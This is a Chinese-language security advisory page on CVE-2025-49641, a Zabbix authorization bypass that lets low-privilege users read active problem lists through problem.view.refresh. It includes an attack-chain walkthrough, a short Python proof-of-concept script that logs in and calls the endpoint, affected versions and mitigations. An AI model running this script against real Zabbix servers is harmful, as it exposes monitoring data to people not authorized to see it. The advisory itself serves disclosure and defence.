IPBUF安全漏洞报告
English
CVE-2025-49641 CVSS 4.3 中危

CVE-2025-49641 Zabbix权限绕过导致问题列表信息泄露

披露日期: 2025-10-03

漏洞信息

漏洞编号
CVE-2025-49641
漏洞类型
权限绕过/信息泄露
CVSS评分
4.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Zabbix

相关标签

Zabbix权限绕过信息泄露访问控制失效CVE-2025-49641监控软件Broken Access ControlOWASP

漏洞概述

CVE-2025-49641是Zabbix监控系统中的一个权限绕过漏洞。该漏洞允许没有任何Monitoring -> Problems(监控->问题)视图权限的普通Zabbix用户,通过调用problem.view.refresh操作来获取当前活动问题的列表信息。这是一种典型的权限控制失效漏洞(Broken Access Control),违反了Zabbix的访问控制策略,导致低权限用户能够访问其本不应看到的数据。Zabbix作为广泛使用的开源网络监控解决方案,被大量企业用于监控IT基础设施的运行状态,其中包含大量敏感的系统信息和告警数据。该漏洞的CVSS评分为4.3分,属于中等严重级别。虽然该漏洞不会直接导致系统完整性或可用性受损,但会泄露监控系统中存储的敏感问题信息,可能为攻击者提供有关目标系统配置、运行状态和潜在安全问题的情报,从而辅助后续攻击行为。该漏洞由[email protected]团队发现并报告,体现了Zabbix安全团队对产品安全的持续关注。

技术细节

该漏洞的核心问题在于Zabbix前端对problem.view.refresh操作的权限校验不充分。在正常的设计逻辑中,当用户没有Monitoring -> Problems视图的访问权限时,前端应该拒绝该用户调用与问题视图相关的所有操作,包括problem.view.refresh。然而,漏洞版本的实现中,problem.view.refresh操作的权限检查逻辑存在缺陷,仅校验了用户是否已登录,而未校验用户是否具有相应的视图访问权限。攻击者只需要拥有一个有效的Zabbix普通用户账号(无需任何特殊权限),即可通过构造特定的HTTP请求调用problem.view.refresh接口,绕过前端UI层面的权限限制,直接从后端获取当前所有活动问题的详细信息。这些信息通常包括问题名称、严重程度、受影响的触发器、主机名称、问题发生时间等。攻击向量为网络攻击(AV:N),攻击复杂度低(AC:L),需要低权限认证(PR:L),无需用户交互(UI:N),对机密性有低影响(C:L),对完整性和可用性无影响(I:N/A:N)。

攻击链分析

STEP 1
步骤1:获取低权限账号
攻击者通过社会工程学、购买凭证或其他方式获取一个Zabbix普通用户账号,该账号没有任何Monitoring -> Problems视图的访问权限。
STEP 2
步骤2:登录Zabbix系统
使用获取的普通用户凭证登录Zabbix前端,获取有效的会话Cookie和CSRF令牌。
STEP 3
步骤3:调用problem.view.refresh接口
通过构造HTTP请求直接调用problem.view.refresh操作,绕过前端的权限检查机制。
STEP 4
步骤4:提取敏感问题信息
从响应中提取所有活动问题的详细信息,包括主机名、触发器名称、严重程度、发生时间等。
STEP 5
步骤5:情报分析
利用获取的监控问题信息分析目标系统的弱点、配置和运行状态,为后续攻击做准备。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-49641 PoC - Zabbix problem.view.refresh Authorization Bypass # This PoC demonstrates how a low-privileged Zabbix user can retrieve # active problems list without having permission to Monitoring -> Problems view. import requests import json # Configuration ZABBIX_URL = "https://target-zabbix-server.com" USERNAME = "low_priv_user" PASSWORD = "user_password" # Step 1: Login to Zabbix to obtain session cookie session = requests.Session() login_payload = { "name": USERNAME, "password": PASSWORD, "enter": "Sign in" } # Perform login login_url = f"{ZABBIX_URL}/index.php" response = session.post(login_url, data=login_payload) # Step 2: Call problem.view.refresh action to retrieve active problems # This action should be restricted, but due to CVE-2025-49641, # it can be called by any authenticated user refresh_payload = { "action": "problem.view.refresh", "csrf_token": "valid_csrf_token_here" } # Send the request to retrieve problems refresh_url = f"{ZABBIX_URL}/zabbix.php?action=problem.view.refresh" response = session.post(refresh_url, data=refresh_payload) # Step 3: Parse the response if response.status_code == 200: try: problems_data = response.json() print("Successfully retrieved active problems:") print(json.dumps(problems_data, indent=2)) except json.JSONDecodeError: print("Response:", response.text) else: print(f"Request failed with status code: {response.status_code}")

影响范围

Zabbix < 7.0.21
Zabbix 7.4.x < 7.4.4
Zabbix 6.0.x < 6.0.35

防御指南

临时缓解措施
在无法立即升级的情况下,建议采取以下临时缓解措施:1)审查所有Zabbix用户账号,禁用不必要的普通用户账号;2)通过Web服务器或反向代理限制对problem.view.refresh相关接口的访问;3)启用Zabbix的审计日志,监控异常的数据访问行为;4)限制Zabbix前端的网络访问范围,仅允许可信IP地址访问;5)监控是否有异常的数据请求模式,及时发现潜在的攻击行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表